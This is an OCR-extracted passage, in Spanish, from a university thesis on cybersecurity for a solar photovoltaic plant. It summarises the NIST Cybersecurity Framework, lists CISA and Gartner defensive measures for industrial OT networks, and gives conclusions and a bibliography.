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El marco de trabajo, denominado CFS (Cibersecurity Framework Standard) [15], est&

dividido en tres areas:

v" Marco basico (Framework Core)
v Niveles de implementacion del marco (Framework Implementation Tiers)
v" Perfiles del marco basico (Framework Profiles)

4.1.1 MARCO BAsICO

Esta formado por el conjunto de actividades en favor de la ciberseguridad, los resultados
esperados y las referencias aplicables que son comunes a las diferentes infraestructuras,

mediante estandares, directrices y buenas précticas.

Todo ello con el objetivo de permitir la comunicacion de actividades de ciberseguridad y sus
resultados a todos los niveles de la organizacion, es decir, desde el nivel ejecutivo hasta el
nivel técnico de implementacion y operaciones. Para ello, emplea cinco funciones

fundamentales de ciberseguridad:

1. Identificar: Permite comprender de forma general en una infraestructura la gestion
y el riesgo de ciberseguridad de los sistemas, las personas, los activos, los datos y
sus capacidades.

Por ejemplo:
e Identificar los equipos fisicos y el software para establecer un programa de
gestién de activos.
e Identificar politicas de ciberseguridad para definir un programa de
gobernanza en la organizacion.
e Identificacion de una estrategia de gestion de riesgos para la organizacion

2. Proteger: Permite desarrollar e introducir las soluciones necesarias para limitar o
la repercusion de una brecha de ciberseguridad que puede llegar a ocurrir en la
infraestructura.

Por ejemplo:
e Formacion del personal de la organizacién soba las bases de ciberseguridad.
e Administrar la tecnologia de defensa para aumentar la robustez de los
sistemas.
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e Establecer una seguridad de los datos que maneja la infraestructura para
proteger su confidencialidad, integridad y disponibilidad.

3. Detectar: La funcién de deteccion define las actividades apropiadas para identificar
una brecha de ciberseguridad de forma eficaz.
Por ejemplo:

e Implementar elementos de monitorizacion continua de la seguridad para
identificar posibles fisuras + de ciberseguridad.
e Verificar el correcto funcionamiento de las medidas de proteccion.

4. Responder: Permite reaccionar ante una brecha de ciberseguridad que ha sido
previamente identificada logrando asi solventar el problema o mitigar su impacto.
Por ejemplo:

e Garantizar que las soluciones preestablecidas de respuesta actien durante y
después de un incidente.
e Analizar de la eficacia de las soluciones de respuesta.

5. Recuperar: Permite identificar las actividades apropiadas para mantener los planes
de resiliencia y restaurar los servicios dafiados durante los incidentes de
ciberseguridad.

Por ejemplo:

e Garantizar que el sistema implemente los procesos y procedimientos de
planificacion de la recuperacion.

e Implementar mejoras basadas en soluciones aprendidas durante ataques
anteriores.

e Coordinar las comunicaciones durante las actividades de recuperacion.

A su vez, cada una de estas funciones cuenta con categorias y sub-categorias con sus
referencias informativas relacionadas (estandares, directrices y practicas), como puede

apreciarse en la siguiente figura.

108



COMILLAS

UNIVERSIDAD PONTIFICIA

UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

Estapo DE LA CUESTION

ID Categoria Referencias
Categoria g Informativas

ID.AM1
ID.AM2

ID Identificar

PR Proteger

DE Detectar
RS Responder

RC Recuperar

Figura 67: Estructura del marco basico del CFS

Gestion de Recursos

Entorno de Negocio
Gobernanza

Evaluacion del Riesgo
Estrategia de gestion del Riesgo

Gestion Riesgo Cadena
Suministro

Gestion Acceso e Identificacion

CCSCSC1, COBITS,

En la Figura 67: Estructura del marco basico del CFSvemos un ejemplo parcial de la

estructura del marco basico en la funcion de “Identificar”, donde se ve la categoria de gestion

de recursos (“assets management”) con sus correspondientes subcategorias (dispositivos

fisicos, plataformas software, comunicaciones corporativas, etc..) asi como sus referencias

informativas (estandares, documentos, guias, etc..).

La Figura 68: Ejemplo parcial de la Estructura del marco béasico (excell descargable del

NIST) esta sacada de la herramienta en Excel que el propio NIST tiene disponible para su

descarga.
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Asset Management (ID.AM):  [ID-AM-2: Software platforms and
The data, personncl, devices,  [masacs
systems, and facilities that enable
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and managed consistent with their | 1 < e
relative imy 1o business
objectives and the organization’s |-
risk strategy.

Business E (ID.BE):
The organization's mission.

objectives, stakeholders, and
activities are understood and
| prioritized: this information is used to|

mform cybersecurity roles,
Figura 68: Ejemplo parcial de la Estructura del marco basico (excell descargable del NIST)

412 NIVELES DE IMPLEMENTACION DEL MARCO (FRAMEWORK
IMPLEMENTATION TIERS)
Los niveles de implementacidn permiten que cada empresa puede identificar en que nivel se

encuentra respecto a sus practicas actuales de la gestion de riesgo, el entorno de amenazas,

los requerimientos legales, sus objetivos de negocio y las restricciones de la propia empresa.
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= Nivel 1: Parcial

e Las practicas de gestion de riesgos de ciberseguridad no estan formalizadas
¢ Conocimiento limitado de riesgos de seguridad
* Baja participacion externa

e Algunas practicas de gestion de riesgos
¢ Procedimientos definidos e implementados con personal cualificado
e Participacion de terceros informal

= Nivel 3: Repetible

® Gestion de riesgos completamente formalizada
e Se gestiona la informacién con terceros

md Nivel 4: Adaptativo

e Practicas de ciberseguridad estan en experiencias aprendidas
¢ Indicadores predictivos derivados de actividades previas
¢ Se colabora con terceros, compartiendo informacién de ciberseguridad.

Figura 69: Niveles de implantacion del CFS

4.1.3 PERFILES DEL MARCO BASICO (FRAMEWORK PROFILES)

Los perfiles se emplean para describir el estado actual y el estado objetivo de determinadas
actividades de ciberseguridad. El analisis diferencial entre perfiles permite la identificacion
de brechas de seguridad que deberian ser gestionadas para cumplir con los objetivos de
gestion de riesgos.

Para ello, se requiere la definicion de un plan de accién que incluya una priorizacion de
actividades dependiendo de los procesos de gestion de riesgos de la organizacion. Este
enfoque permite a la organizacion estimar los recursos necesarios (personal, inversion, etc.)

para lograr las metas de ciberseguridad establecidas.
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De acuerdo con las descripciones anteriores, la arquitectura global del marco de trabajo de
ciberseguridad segun el NIST quedaria de la siguiente manera:

Nivel 1: Parcial
.  Las prdcticas de gestion de riesgos de cik
FunCIon * Conocimiento limitado de riesgos de seg .
. * Baja participaciéon externa Perfll aCtua|
Categorias

ID Identificar

* Algunas practicas de gestion de riesgos
* Procedimientos definidos e implementac
« Participacion de terceros informal

B Nivel 3: Repetible

* Gestion de riesgos completamente form
*Se gestiona la informacién con terceros

PR Proteger Subcategorias

Plan de accion

DE Detectar

Referencias

- i Nivel 4: Adaptativo
RS Responder HIGINEIVEE EXEEZETN
* Practicas de ciberseguridad estdn en exp
« Indicadores predictivos derivados de act

* Se colabora con terceros, compartiendo Pe rfl | O bJ et|VO

RC Recuperar

Figura 70: Marco global de trabajo del NIST

4.2 APLICACION DE MEDIDAS CONCRETAS DE CIBERSEGURIDAD A

UN ENTORNO INDUSTRIAL

Una vez analizadas de forma general las directrices que el NIST indica para mejorar la
ciberseguridad de cualquier tipo de empresa, vamos a intentar estudiar las medidas que se
pueden aplicar en un entorno industrial con tecnologia OT, mas en concreto una planta solar

fotovoltaica.

Hay gran variedad de empresas que han realizado estudios y analisis para desarrollar
modelos de ciberseguridad que se puedan aplicar a entornos OT. VVamos a basarnos en los

informes de tres organizaciones punteras en este tema cémo son: Gartner, CISA y NREL.

La reflexion mas importante cuando uno trabaja en ciberseguridad es tener presente que la

seguridad total en un entorno industrial es imposible.

4.2.1 MEDIDAS Y SOLUCIONES DE IMPLEMENTACION RAPIDA

CISA al ser una agencia federal del gobierno de Estados Unidos propone unas medidas de

facil aplicacion a los entornos industriales que pueden solventar problemas. Me gusta
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destacarlas porque hay veces que el ser humano va de lo particular a lo general y en
ciberseguridad es importante no descuidar las bases. Ciertas medidas pueden parecer obvias
pero la importancia de su aplicacion es capital y no han de ser olvidadas. Entre ellas destacan

las siguientes:

Immediate Shields Up Actions

* Remediate vulnerabilities.

* Enforce MFA.

* Run antivirus.

+» Enable strong spam filters to prevent
phishing emails from reaching end
USErs.

* Disable ports and protocols that are
not essential.

* Strengthen controls for cloud

services.

Figura 71: Medidas (1) CISA (www.cisa.gov)

Shields Up Actions for ICS and OT
(click on links for advisories providing
in-depth mitigations)

* Change all default passwords.

» Enforce MFA.

= Strengthen security for connected IT-
to-OT networks.

= Identify a resilience plan.

Figura 72: Medidas (2) CISA (www.cisa.gov)

Por otro lado, el grupo Gartner recomienda establecer toda una serie de controles en las
empresas que tienen una infraestructura OT para mejorar su ciberseguridad y prevenir
posibles incidentes que afecten a su infraestructura industrial. En la siguiente figura se

plasman los 10 aspectos a tener en cuenta.
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10. Patching % ’__‘@ 1. Roles and Responsibilities
8 2. Training

9. Secure
Configuration

1
8. Log Collection Q Operational By 3. Incident Response
and Detection Technology Security Q .
/

7. Network
Segmentation

4. Backup and Restore

AN

6. Asset Inventory & 0 5. Portable Media

Figura 73: Los 10 Controles de Seguridad en OT (https://www.gartner.com)

A continuacion, se van a ofrecer una recopilacion de ciertas medidas que pueden ser

aplicadas en nuestra planta solar. Estas proceden de las fuentes mencionadas anteriormente.

Lo primero, es importante actualizar el software, incluidos los sistemas operativos, las
aplicaciones y el firmware de forma periddica. Hay que dar prioridad a la aplicacion de
parches a los sistemas que contienen vulnerabilidades conocidas que ya han sido explotadas
y a las vulnerabilidades criticas que permitan la ejecucién remota de cédigo o la denegacion
de servicio en los equipos orientados a Internet. Se puede considerar la posibilidad de utilizar
un sistema centralizado de gestidn de parches. En concreto, en las redes OT, conviene utilizar
una estrategia de evaluacion basada en el riesgo para determinar los dispositivos y zonas de

la red OT que deben participar en el programa de gestion de parches.

Por otro lado, hay que aplicar el MFA (Autenticacion Multi-Factor) en la mayor medida
posible. En cuanto a los inicios de sesion es necesario cambiar de forma rutinaria tanto las
contrasefias como los usuarios. No se han de permitir contrasefias que se utilicen en varias
cuentas. Ultimamente el Estado ruso han demostrado la capacidad de explotar los protocolos
MFA por defecto y las vulnerabilidades conocidas, las organizaciones deben revisar las
politicas de configuracion para protegerse contra los escenarios de "fail open" y

reinscripcion. [16]
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Si se utiliza RDP (Remote Desktop Protocol) u otros servicios potencialmente peligrosos,
estos han de ser asegurados y vigilados. La explotacion de RDP es uno de los principales
focos de infeccion inicial del ransomware. Los servicios de alto riesgo, incluido RDP,
pueden permitir el acceso no autorizado a sesiones dentro de la propia infraestructura OT.
Después de evaluar los riesgos, si se considera que el RDP es necesario, hay que limitar
desde donde se puede acceder e implementar el MFA para mitigar el robo y la reutilizacion
de credenciales. Si el RDP debe estar disponible externamente, es necesario implementar

una red privada virtual (VPN) u otros medios para autenticar y asegurar la conexion.

Por otro lado, hay que comprobar la correcta configuracion de los dispositivos, asegurando
que las funciones de ciberseguridad estan activadas y operativas. Desactivar los puertos y
protocolos que no se utilicen con fines empresariales (por ejemplo, el puerto 3389 que

corresponde al Protocolo de Control de Transmision del RDP).

La labor de concienciacion y formacion de los usuarios finales es muy importante para
ayudar a prevenir el éxito de las campafias de ingenieria social y phishing. El phishing es
uno de los principales vectores de infeccion del ransomware. Los empleados han de ser
conscientes de las posibles ciberamenazas y deben saber que hacer y con quién ponerse en
contacto cuando reciban un correo electronico sospechoso de phishing o sospechen de un

incidente cibernético.

Como parte de un esfuerzo a mas largo plazo, es importante la segmentacion de la red. Esta
segmentacion puede ayudar a prevenir la propagacion del ransomware y el movimiento
lateral de los actores de la amenaza mediante el control de los flujos de trafico y el acceso a
varias subredes. Ademas, hay que implementar adecuadamente la segmentacion entre las
redes de IT y OT. Esto limita la capacidad de los adversarios de pasar a la red de OT incluso
si la red de IT se ve comprometida. Hay por ello que definir una zona desmilitarizada que

elimine la comunicacion no controlada entre las redes de IT y OT.

Los recursos y dispositivos OT no han de ser accesibles desde el exterior. Si necesariamente
estos deban ser accesibles desde el exterior en algin momento puntual, hace falta garantizar

una solida gestion de identidades y accesos.
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Organizar los activos OT en zonas légicas teniendo en cuenta su criticidad, las consecuencias
de sufrir un ciberataque y la necesidad de que se mantengan operativos. Para ello el modelo
de Purdue es sumamente atil. También es necesario definir los conductos de comunicacion
aceptables entre las distintas zonas y desplegar controles de seguridad para filtrar el trafico
de red y supervisar las comunicaciones entre zonas. Prohibir que los protocolos ICS
atraviesen lared IT.
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Capitulo 5. CONCLUSIONES FINALES Y FUTUROS

TRABAJOS

En esta memoria se han analizado los componentes sensibles de ciberataques de una planta
solar fotovoltaica y se han aportado algunas soluciones para mejorar la robustez del sistema.
Ademaés, se ha tratado de mostrar desde el punto de vista del hacker lo sencillo que puede
llegar a ser conocer informacion critica sobre un sistema utilizando herramientas gratuitas

online.

Tras la realizacion de este trabajo de investigacion se llega a una conclusion clara y
determinante, la ciberseguridad total en cualquier entorno es inalcanzable. Muchas empresas
y sistemas pueden tener una falsa sensacion de seguridad que se aleja de la realidad y que
supone un gran peligro. Se puede pensar que una planta es completamente ciber segura 'y no
prestar la suficiente atencion a la deteccidn y prevencién de futuros ataques, facilitando asi
el trabajo a los atacantes. Sabiendo pues que la ciberseguridad total es una utopia, es de
primordial importancia asegurar lo méximo posible una planta de generacién de energia y

realizar una labor de prevencion sistematica y eficaz.

Por otro lado, en los proximos afios, con la inclusion de nuevos equipos inteligentes
conectados a internet y el aumento de la interaccion entre el mundo IT y OT, las brechas de
seguridad no hardn mas que crecer. La tendencia es clara e imparable, Los ciberataques a
sistemas OT estan creciendo de forma significativa. Segun el informe X-Force de IBM,
durante el afio 2021 los ataques a empresas industriales ocuparon el primer puesto (23,2%
de los ataques), superando por primera vez a los ciberataques a servicios financieros [17]. El
mismo informe indica que durante 2021 se produjo un aumento del dos mil doscientos cuatro
por ciento (2.204%) de casos de reconocimiento contra OT. Fundamentalmente contra

dispositivos SCADA Modbus OT que resultaban accesibles a través de internet.
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La dependencia de los paises de las energias renovables para proporcionar un futuro prospero
a las nuevas generaciones solo aumentara. Por ello, se concluye que la importancia de

construir plantas renovables ciberseguras es crucial y deberia ser una prioridad.

Respecto a los posibles trabajos futuros. Seria interesante elaborar un estudio de las pérdidas
econdmicas que puede suponer un ciberataque a la red eléctrica. Analizar las diferencias
entre los distintos ataques que se realizan y el impacto que tendria en un pais como Espafia

un ataque a una planta de generacion de energia solar fotovoltaica o a una planta edlica.

118



UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)

COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

[ __rcar____icApe BIBLIOGRAFIA

(1]

(2]

(3]

[4]

(5]

(6]

[7]

(8]

[9]

[10]

Capitulo 6. BIBLIOGRAFIA

Microsoft. "An overview of Russia’s cyberattack activity in Ukraine",2022.
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd.
N.S.A. “Network Infrastructure Security Guidance”, 2022.

https://www.cisa.gov/uscert/ncas/current-activity/2022/03/03/nsa-releases-network-

infrastructure-security-guidance.

Nozomi Networks Labs. “Nozomi Networks Labs Analyzes the IEC 104 payload”, Abril
2022.

https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-

iec-104-payload/

Hany EL Mokadem. “Switch Attacks and Countermeasures”, Cisco, 2022.

https://www.cisco.com/c/dam/en us/training-

events/le31/le46/cIn/promo/share the wealth contest/finalists/Hany EL Mokadem Switc

h Attacks and Countermeasures.pdf

Cibersecurity & Infrastructure Security Agency. “Securing Network Infrastructure
Devices”, 2018. https://www.cisa.gov/uscert/ncas/tips/ST18-001
Louis Senecal. “Layer 2 Attacks and Their Mitigation”, Cisco, 2021.

https://www.cs.dartmouth.edu/~sergey/netreads/L 2-security-Bootcamp.pdf

S. E. T. Office. “Solar Cybersecurity Basics”, 2020.
https://www.energy.gov/eere/solar/solar-cybersecurity-basics

SMA. “STATEMENT BY SMA SOLAR TECHNOLOGY AG ON THE CYBER
SECURITY OF PV INVERTERS (HORUS SCENARIO)”, 2017
https://www.sma.de/fileadmin/content/global/specials/documents/cyber-
security/Whitepaper-Cyber-Security-AEN1732_07.pdf

Emerson. “How To Protect Your PLC Control Systems From Security Threats”, 2019.

https://www.emerson.com/documents/automation/case-study-how-to-protect-your-plc-

control-systems-from-security-threats-emerson-en-6325986.pdf

Mandiant. “INCONTROLLER: New State-Sponsored Cyber Attack Tools Target Multiple
Industrial Control Systems”, Abril 2022.

https://www.mandiant.com/resources/incontroller-state-sponsored-ics-tool

119


https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.cisa.gov/uscert/ncas/current-activity/2022/03/03/nsa-releases-network-infrastructure-security-guidance
https://www.cisa.gov/uscert/ncas/current-activity/2022/03/03/nsa-releases-network-infrastructure-security-guidance
https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/
https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/
https://www.cisco.com/c/dam/en_us/training-events/le31/le46/cln/promo/share_the_wealth_contest/finalists/Hany_EL_Mokadem_Switch_Attacks_and_Countermeasures.pdf
https://www.cisco.com/c/dam/en_us/training-events/le31/le46/cln/promo/share_the_wealth_contest/finalists/Hany_EL_Mokadem_Switch_Attacks_and_Countermeasures.pdf
https://www.cisco.com/c/dam/en_us/training-events/le31/le46/cln/promo/share_the_wealth_contest/finalists/Hany_EL_Mokadem_Switch_Attacks_and_Countermeasures.pdf
https://www.cisa.gov/uscert/ncas/tips/ST18-001
https://www.cs.dartmouth.edu/~sergey/netreads/L2-security-Bootcamp.pdf
https://www.energy.gov/eere/solar/solar-cybersecurity-basics
https://www.sma.de/fileadmin/content/global/specials/documents/cyber-security/Whitepaper-Cyber-Security-AEN1732_07.pdf
https://www.sma.de/fileadmin/content/global/specials/documents/cyber-security/Whitepaper-Cyber-Security-AEN1732_07.pdf
https://www.emerson.com/documents/automation/case-study-how-to-protect-your-plc-control-systems-from-security-threats-emerson-en-6325986.pdf
https://www.emerson.com/documents/automation/case-study-how-to-protect-your-plc-control-systems-from-security-threats-emerson-en-6325986.pdf
https://www.mandiant.com/resources/incontroller-state-sponsored-ics-tool

UNIVERSIDAD PONTIFICIA COMILLAS
ESCUELA TECNICA SUPERIOR DE INGENIERIA (ICAI)
COMILLAS GRADO EN INGENIERIA EN TECNOLOGIAS INDUSTRIALES

UNIVERSIDAD PONTIFICIA

[ __rcar____icApe BIBLIOGRAFIA

[11]  Danielle Veluz. “STUXNET Malware Targets SCADA Systems”, Octubre 2011.

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/54/stuxnet-malware-

targets-scada-systems

[12]  Cibersecurity & Infrastructure Security Agency. “APT cyber tools targeting ICS/SCADA
devices”, Abril 2022. https://www.cisa.gov/uscert/ncas/alerts/aa22-103a
[13]  Revector. “ Revector Detector IMSI Catcher UAV Payload”.

https://www.unmannedsystemstechnology.com/company/revector/revector-detector-imsi-

catcher-uav-payload/
[14]  NIST. “Cybersecurity Framework Version 1.17, Abril 2018.

https://www.nist.qov/cyberframework/framework

[15]  NIST. “Framework for Improving Critical Infrastructure Cybersecurity”, Abril 2018.
https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf
[16] CISA. “Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting

Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability”, Mayo
2022. https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
[17]  IBM. “X-Force Threat Intelligence Index 20227, 2022.

https://www.ibm.com/downloads/cas’ADLMYLAZ

120


https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/54/stuxnet-malware-targets-scada-systems
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/54/stuxnet-malware-targets-scada-systems
https://www.cisa.gov/uscert/ncas/alerts/aa22-103a
https://www.unmannedsystemstechnology.com/company/revector/revector-detector-imsi-catcher-uav-payload/
https://www.unmannedsystemstechnology.com/company/revector/revector-detector-imsi-catcher-uav-payload/
https://www.nist.gov/cyberframework/framework
https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
https://www.ibm.com/downloads/cas/ADLMYLAZ

		2022-06-29T16:20:05+0200
	LÁZARO TRASOBARES, LUIS (AUTENTICACIÓN)


		2022-06-29T16:30:36+0200
	DOMINGUEZ ADAN EMILIO MANUEL - 02620715A




